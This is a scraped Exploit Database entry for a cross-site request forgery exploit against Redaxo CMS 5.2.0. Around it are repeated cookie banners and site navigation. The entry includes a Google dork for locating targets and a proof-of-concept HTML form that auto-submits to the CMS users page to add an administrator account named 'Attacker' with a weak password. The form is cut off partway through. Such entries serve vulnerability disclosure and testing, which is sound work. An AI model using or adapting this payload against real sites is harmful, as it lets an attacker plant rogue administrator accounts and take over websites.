

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

# Redaxo 5.2.0 - Cross-Site Request Forgery

**EDB-ID:**

40708

**CVE:**

N/A

**EDB Verified:** ✘**Author:**[AMIR.GHT](#)**Type:**[WEBAPPS](#)**Exploit:** / **Cookiebot**  
by Usercentrics

## This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

```
# Exploit Title : redaxo CMS CSRF(Add Admin)
# Author : Ashiyane Digital Security Team
# Google Dork : intitle:Login · REDAXO
# Date : 1/11/2016
# Type : webapps
# Platform : PHP
# Vendor Homepage : http://www.redaxo.org/
# Software link :http://www.redaxo.org/de/download/file/?f=redaxo_5.2.0.zip
# Version : 5.2(latest)
#####3
admin user : Attacker
admin password : 123456
<html>
  <!-- CSRF PoC -->
  <body>
    <form name="form0"
action="http://localhost/redaxo_5.2.0/redaxo/index.php?page=users/users"
method="POST">
      <input type="hidden" name="userlogin" value="Attacker" /> //
username
      <input type="hidden" name="username" value="Attacker" />
      <input type="hidden" name="userdesc" value="Atacker" />
      <input type="hidden" name="useremail" value="hhhhh@hhh.com" />//
```



Cookiebot by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details >

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

TERMS

PRIVACY

ABOUT US

FAQ

COOKIES

OffSec Services Limited 2026. All rights reserved.